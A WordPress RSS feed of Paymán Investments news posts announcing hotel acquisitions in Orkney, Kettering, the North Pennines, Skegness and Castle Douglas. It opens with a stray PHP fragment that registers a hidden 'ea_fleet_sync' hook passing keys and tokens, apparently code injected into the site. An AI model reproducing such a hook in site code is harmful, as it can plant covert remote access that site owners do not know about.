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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Acquisitions Archives - Paymán Investments https://paymaninvestments.com/news/category/acquisitions/ Rewarding your trust. Thu, 26 Aug 2021 21:08:52 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 https://paymaninvestments.com/wp-content/uploads/2020/11/FAVICON-02-150x150.png Acquisitions Archives - Paymán Investments https://paymaninvestments.com/news/category/acquisitions/ 32 32 The Stromness Hotel Under New Ownership https://paymaninvestments.com/news/the-stromness-hotel-under-new-ownership/ https://paymaninvestments.com/news/the-stromness-hotel-under-new-ownership/#comments Sat, 21 Aug 2021 20:26:04 +0000 http://paymaninvestments.com/?p=2297 The Stromness Hotel has finally changed hands, following a lengthy period of conveyancing. As one of the most iconic buildings on the Orkney archipelago, we are proud to welcome this property of historic significance to our growing portfolio of hotels. Since 1901, The Stromness Hotel has been more than a landmark building, it’s a festival […]

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]]>

The Stromness Hotel has finally changed hands, following a lengthy period of conveyancing. As one of the most iconic buildings on the Orkney archipelago, we are proud to welcome this property of historic significance to our growing portfolio of hotels.

Since 1901, The Stromness Hotel has been more than a landmark building, it’s a festival hub and jumping off point for Orkney mainland transportation links. During the Second World War The Stromness Hotel became the headquarters of the Orkney and Shetland Defence Forces. It had many notable visitors and on one occasion, during a visit to entertain the troops, Gracie Fields sang from the balcony of the hotel to the crowds below.

More recently featured in the New York Times, The Stromness Hotel forms a central part of the community, regularly attracting both locals and tourists from around the globe.

Location

The Stromness Hotel is found in the West of the beautiful Orkney Islands which is home to around 19,000 people.

It is situated within the town of Stromness which is a main sea port for people crossing from the mainland.

Stromness is a popular tourist stop-off point and is only 15 miles distant from Kirkwall, the Islands capital and major administrative and communications centre.

Voted as Scotland’s best island, Orkney has a strong history encompassing pre-history, Pictish and Viking heritage which is reflected in the many places of interest to visit. Besides abundant wildlife, Orkney holds possibly the greatest concentration of archaeology in NW Europe, including the unique Neolithic village of Skara Brae, and the group of sites clustered around the Ring of Brodgar, and known as Orkney’s Neolithic Heartland, which was granted World Heritage status by UNESCO in 1999.

Visitors can also enjoy the vibrant contemporary culture and a wide range of activities including excellent fishing, bird watching, golf, walking, climbing and sailing, though many enjoy the peaceful ambience of the islands. There is a strong legacy of history on the Islands, as it was a major naval base during both the First and Second World Wars.

The Property

The Stromness Hotel is a 4-storey detached property boasting 42 letting bedrooms. Of stone construction under slate roof, the original subjects date from around 1901. A most attractive feature of the property is the stunning location of the business with its expansive seaward views over the harbour and Scapa Flow.

The Future of The Stromness Hotel

Speaking of plans for the future of The Stromness Hotel, Na’ím Anís Paymán, CEO at Paymán Investments, commented: “It’s a great relief to be able to announce that following protracted negotiations, we have now completed on the purchase of The Stromness Hotel. Our growing portfolio of hotels across the country has now been enriched with the addition of this northernmost jewel. We are extremely proud to have become the guardians of yet another piece of history, and look forward to working with the local community and all of the hotel’s well-wishers across the globe to build on the excellent reputation and legacy that this building already enjoys.”

Some renovation works are planned for the immediate future, with the hope of the hotel opening in September 2021. To book a stay at the hotel, visit Paymán Club’s website.

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]]> https://paymaninvestments.com/news/the-stromness-hotel-under-new-ownership/feed/ 4 Royal Hotel Kettering Under New Ownership https://paymaninvestments.com/news/royal-hotel-kettering-under-new-ownership/ https://paymaninvestments.com/news/royal-hotel-kettering-under-new-ownership/#comments Tue, 25 May 2021 18:05:58 +0000 http://paymaninvestments.com/?p=2253 The Royal Hotel in Kettering has finally come under new ownership. We are proud to announce the acquisition of yet another hotel, right in the heart of Kettering. This Grade II listed building, which once was the jewel in the town’s crown, has now unfortunately been neglected for decades. Besides bringing the hotel up to […]

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]]> The Royal Hotel in Kettering has finally come under new ownership. We are proud to announce the acquisition of yet another hotel, right in the heart of Kettering. This Grade II listed building, which once was the jewel in the town’s crown, has now unfortunately been neglected for decades. Besides bringing the hotel up to scratch, Paymán Investments is set to transform the property into a community hub, as part of its Corporate & Social Responsibility commitments.

About Our Most Recent Acquisition

Royal Hotel Kettering is a 42-bedroom hotel located in Kettering town centre. Overlooking Market Place, it is set within walking distance of the town’s main amenities and Newlands Shopping Centre as well as within close proximity of the railway station. Boasting a stained-glass café and a beautiful sky-lit restaurant, the hotel is well set to become the talk of town. Furthermore, the impressive banquet hall, singular in terms of size, provides the perfect venue for weddings, family gatherings and corporate events. A vast basement, formerly a night club, also awaits exploration and adopting a new character.

Royal Hotel Kettering – The Past

Formerly known as The White Hart Hotel, this exquisite piece of Northamptonshire real estate has been designed in Jacobean style and has hosted people from all ranks of society. Graced by the visits of the likes of Charles Dickens in 1835, in its heyday it even hosted Queen Victoria herself. No doubt one of the greatest monarchs to ever rule over the British Empire, Queen Victoria is reported to have stayed in Room 12 while her horses and carriage were sheltered in elevated stables around the back of the hotel – outbuidlings that survive to this day. And it is not hard to see why she was attracted to stay at this property – besides stone dressings and a Dutch gabled Welsh slated roof behind cornice and parapet, the three-storey red brick hotel boasts rusticated quoins and a semi-circular bow window in the central left section, composing the main view as you approach town. No less impressive is the porch on the right with Ionic pilasters which welcome you as you enter the property.

Royal Hotel Kettering – The Future

Owned by the Duke of Buccleugh until 1896, this property has since changed hands multiple times and sections of it have fallen into a state of considerable disrepair. While the task of restoring it to its days of former glory is not one to be underestimated, our team at Paymán Investments have decided it is one worth embarking on. Consultations with the local community, government institutions and national bodies are already underway in trying to sketch out what seems to be a very promising path in attempting to safeguard one of Kettering’s most priceless pieces of communal heritage.

Na’ím Anís Paymán, Chief Executive Officer at Paymán Investments, said:

“We feel humbled to have been entrusted with the guardianship of the Royal Hotel. We view ourselves not merely as owners of a piece of property, but as guardians entrusted with protecting and reviving this historic edifice for the benefit of generations to come.”

To find out more about impact investing through Paymán Investments, click here.

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]]> https://paymaninvestments.com/news/royal-hotel-kettering-under-new-ownership/feed/ 1 UK Staycation Investment Completed https://paymaninvestments.com/news/uk-staycation-investment-completed/ https://paymaninvestments.com/news/uk-staycation-investment-completed/#respond Tue, 30 Mar 2021 17:02:15 +0000 http://paymaninvestments.com/?p=1939 UK Staycation Investment properties are set to experience a boom as soon as lockdown restrictions are eased. There was already great anticipation building up throughout the last year for the amount of interest that UK holiday destinations would see once leisure travel was allowed to recommence. These expectations now seem set to be exceeded following […]

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]]> UK Staycation Investment properties are set to experience a boom as soon as lockdown restrictions are eased. There was already great anticipation building up throughout the last year for the amount of interest that UK holiday destinations would see once leisure travel was allowed to recommence. These expectations now seem set to be exceeded following the government’s guidelines around not being able to take trips abroad this coming summer. Paymán Investments’ risk in the portion of its portfolio dedicated to tourist markets seems set to pay off. Our overall risk-management strategy with contractor-market based hotels has yielded excellent results over the last few months, and a great boost is expected to be added to our bottom line through today’s purchase.

UK Staycation Hotel and Cottages Purchased

Paymán Investments’ latest purchase to complete is that of an idyllic hotel and three cottages set just outside the cosy village of Alston in the North Pennines, an Area of Outstanding Natural Beauty. Lovelady Shield Country House Hotel and Cottages will continue marketing under a similar name, Lovelady Shield Hotel. The prestigious 15-bedroom hotel forms part of a private estate overlooking the River Nent, with sheep-grazing fields extending around it up to the horizon. Nestled in the midst of nature, it provides the perfect setting for a relaxing holiday as a couple, with a group of friends, or a larger family booking in to one of its wonderful cottages.

“Nestled in the midst of nature, it provides the perfect setting for a relaxing holiday”

About Lovelady Shield Hotel

UK Staycation Investment Demand
Besides the hotel, the estate boasts three wonderful self-catering cottages.

While the cottages have been preserved in fairly good condition, given the fact that the previous owners were forced to shut the business around 18 months ago due to financial issues, the hotel itself has fallen into a state of major disrepair. Having purchased this property from Receivers, our cash offer proved particularly enticing thanks to the speed of transaction. Despite a number of challenges given the nature of the purchase, our team of outstanding solicitors headed by Kian Golestani were able to achieve completion in less than 3 months from the offer being accepted. This allowed us to secure the estate at half the value of what it could have fetched pre-pandemic. While major works are required to bring it up to scratch, a team of builders have been lined up and are set to deliver the final product prior to the onset of the summer season.

In a stroke of luck, last Friday, on which we had originally anticipated to complete the purchase on, a major leak was reported in one of the cottages. As a result, we were able to re-negotiate the purchase price down by a further £50’000 at the last minute, while remedial works are expected to cost significantly less. The value ultimately delivered to our shareholders will therefore end up being even more attractive than originally anticipated.

Surging UK Staycation Investment Driven by Demand

While the past year has been a tough one for the hospitality industry as a whole, there seems to be some light at the end of the tunnel. Since we started buying and refurbishing hotels last October to run through our sister company, Paymán Club, we have been achieved and maintained impressive levels of occupancy, with the average in March nearing 90% across the 4 hotels that have started trading. The guests staying have come from a very limited section of the market, given that leisure stays have been banned over the last few months.

Na’ím Anís Paymán, CEO of Paymán Investments, said: “I am over the moon at having completed on this purchase. Not only has this been an extremely good deal financially, but the property and location are simply so attractive that I fell in love with it at first sight. While I never buy based off feelings, I must admit that in the background I really hoped we could pull this one through, and am glad to see that the deal seems to be set to pay off from all perspectives!”

Earlier this month, the UK government announced a £5’000 fine for anyone caught trying to leave the UK for a holiday. This unexepected restriction means that the entire population of the UK, which usually is a great exporter of summer tourism to warmer climates, will be forced to take their fervently anticipated breaks within its own borders. As such, demand is expected to shoot through the roof, especially in countryside and seaside locations such as the newly acquired Lovelady Shield Hotel, and our other hotels in Torquay, Skegness, Castle Douglas and Knighton. UK Staycation Investment properties are set to benefit.

Two of the three holiday cottages will be available for bookings immediately while remedial works are carried out for the rest of the estate. To book a stay at Lovelady Shield Hotel, click here or call 0333 4444 324.

UK Staycation Investment Property

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]]> https://paymaninvestments.com/news/uk-staycation-investment-completed/feed/ 0 Skegness Seafront Beach Hotel Acquired https://paymaninvestments.com/news/skegness-seafront-beach-hotel/ https://paymaninvestments.com/news/skegness-seafront-beach-hotel/#respond Mon, 15 Feb 2021 18:58:47 +0000 http://paymaninvestments.com/?p=1813 The Grand Hotel – a seafront beach hotel in Skegness, North Lincolnshire, was purchased by Paymán Investments earlier today. Given the expected rise in staycations once restrictions are lifted, we expect to have a very strong summer season and hope for year-around trading stability. About The Grand Hotel The Grand Hotel is an impressively modernised […]

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]]> The Grand Hotel – a seafront beach hotel in Skegness, North Lincolnshire, was purchased by Paymán Investments earlier today. Given the expected rise in staycations once restrictions are lifted, we expect to have a very strong summer season and hope for year-around trading stability.

About The Grand Hotel

The Grand Hotel is an impressively modernised seafront hotel with 21 en-suite bedrooms. It occupies a prime location with wonderful sea and foreshore views, close for town centre and holiday amenities.

Rooms range from single rooms, to double rooms as well as family rooms. The hotel was purchased a few years ago from the outgoing owner-operators who spent a significant amount of time and energy fully refurbishing the hotels. While we originally intended to purchase a hotel at auction next-door, a last minute phone call while the auction was about to close let to a rather swiftly paced conversation which resulted at a very reasonably priced offer per key being accepted by the vendors within minutes.

About Skegness

Skegness is the leading East Coast Holiday resort and the Grand Hotel enjoys a prominent seafront position overlooking the foreshore and with superb foreshore and seaviews from the upper floors. The seaside town is one of the oldest beach holiday destinations in the country, and continues to be a popular destination for UK based as well as international tourists, especially families.

Besides the stunning beach and breathtaking views, go-karting, ten-pin bowling, funfairs and crazy golf are just some of the multitude of activities on offer. The town also usually boasts a year-round calendar packed with events.

A Seafront Beach Hotel in Skegness under new Ownership

The Grand Hotel will be managed by our sister company, Keezark. It will be available to book directly with exclusive discounts as part of the Paymán Club. So when planning your next holiday, why not add The Grand Hotel to your list of places to stay at!

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]]> https://paymaninvestments.com/news/skegness-seafront-beach-hotel/feed/ 0 Douglas Arms Hotel Deal Secured https://paymaninvestments.com/news/douglas-arms-hotel-deal-secured/ https://paymaninvestments.com/news/douglas-arms-hotel-deal-secured/#respond Fri, 29 Jan 2021 19:03:32 +0000 http://paymaninvestments.com/?p=1729 Castle Douglas Iconic Hotel Under New Management Paymán Investments are proud to announce that the deal for our sister company, Keezark, to run the Douglas Arms Hotel in Castle Douglas has been signed, sealed and delivered. About Castle Douglas The Douglas Arms Hotel, which is a listed building located in the heart of the affluent […]

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]]> Castle Douglas Iconic Hotel Under New Management

Paymán Investments are proud to announce that the deal for our sister company, Keezark, to run the Douglas Arms Hotel in Castle Douglas has been signed, sealed and delivered.

About Castle Douglas

Castle Douglas Hotel

The Douglas Arms Hotel, which is a listed building located in the heart of the affluent town of Castle Douglas in Dumfries & Galloway in Southern Scotland, is over 200 years old and used to be a former coaching inn. Castle Douglas is a town of around 4,200 persons approximately 18 miles south west from Dumfries in rural Dumfries and Galloway and benefits from an expanding tourist industry, tourists being attracted into the area because of the easy access to the Solway Coast and the Galloway hills. It lies west of the town of Dalbeattie (6 miles) and east of Gatehouse of Fleet (14 miles). The hotel is situated at the corner of King Street and St Andrew Street opposite the clock tower in a secondary trading location in Castle Douglas town centre. The location benefits from an extremely high level of vehicular and pedestrian traffic and excellent public transport facilities.

The Douglas Arms Hotel

The Douglas Arms Hotel comprises a substantial and extended corner 2-storey painted stone property under pitched and slated roof. The property has been laid out to offer 23 upper floor bedrooms and a 3- bedroom apartment. The generously sized ground floor has been sectioned to provide a corner restaurant (with side lounge) and a public bar (accessed from St Andrews Street). Furthermore, there are two meeting rooms, and a large 80 cover rear function suite (Stewart Room) situated to the rear of reception desk. At the rear is a detached 2 storey red brick building which is currently not being used due to suffering fire damage around 2006. Next to this is a sheltered, walled external seating/drinking area. Attached to the red brick building is a steel framed industrial styled canopied roof over approximately 15 car parking spaces, accessed via a pend off King Street or from the rear from Cotton Street.

Future Plans

Building works are set to commence next month for the refurbishment of the hotel bedrooms at the Douglas Arms Hotel. Discussions are already underway with a local community organisation for a collaboration which would see the ground floor of the property become a focal point of community activities for the town. Strong support has been shown so far from local and regional government institutions to help get the hotel back up and running. Hopefully before long the hotel will be shining once more as a jewel in the heart of Castle Douglas, reminiscent of its bygone days of glory! The renovation is expected to be completed by the Easter Break to allow for the hosting of guests over the expected upcoming staycation boom should government restrictions permit for them at that point.

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